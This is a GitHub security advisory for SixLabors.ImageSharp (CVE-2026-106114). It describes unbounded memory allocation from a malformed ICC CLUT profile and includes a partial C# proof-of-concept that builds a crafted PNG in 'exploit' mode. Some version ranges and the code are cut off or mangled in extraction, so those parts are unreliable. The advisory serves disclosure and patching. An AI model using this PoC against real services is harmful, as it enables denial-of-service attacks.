GitHub Advisoryadvisory · NuGet

GHSA-gwg2-r3hj-4w44 ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions

MEDIUM Published 2026-10-07 Modified 2026-10-26 Official page ↗
Aliases
CVE-2026-106114
Ecosystem
NuGet
Packages
SixLabors.ImageSharp
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-789
Reviewed
2026-10-07

Affected packages

• NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2 • NuGet SixLabors.ImageSharp: >= 1.0.0-beta0001, < 3.2.0 → fixed in 3.2.0

Description

Summary A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present. In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile. Affected package and versions • Package: `SixLabors.ImageSharp` (NuGet) • Affected range: `>= 1.0.0-beta0001, = 4.0.0, BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value); private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value); private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i (1, 1); image.Metadata.IccProfile = new IccProfile(icc); using var output = new MemoryStream(); image.Save(output, new PngEncoder()); return output.ToArray(); } public static int Main(string[] args) { string mode = args.Length == 1 ? args[0] : "exploit"; if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control"); Console.WriteLine($"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}"); Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}"); Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute()?.InformationalVersion}"); long before = GC.GetTotalAllocatedBytes(true); try { byte[] png = BuildPng(BuildTruncatedProfile()); var options = new DecoderOptions { ColorProfileHandling = …

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-789 Memory Allocation with Excessive Size Value weakness

References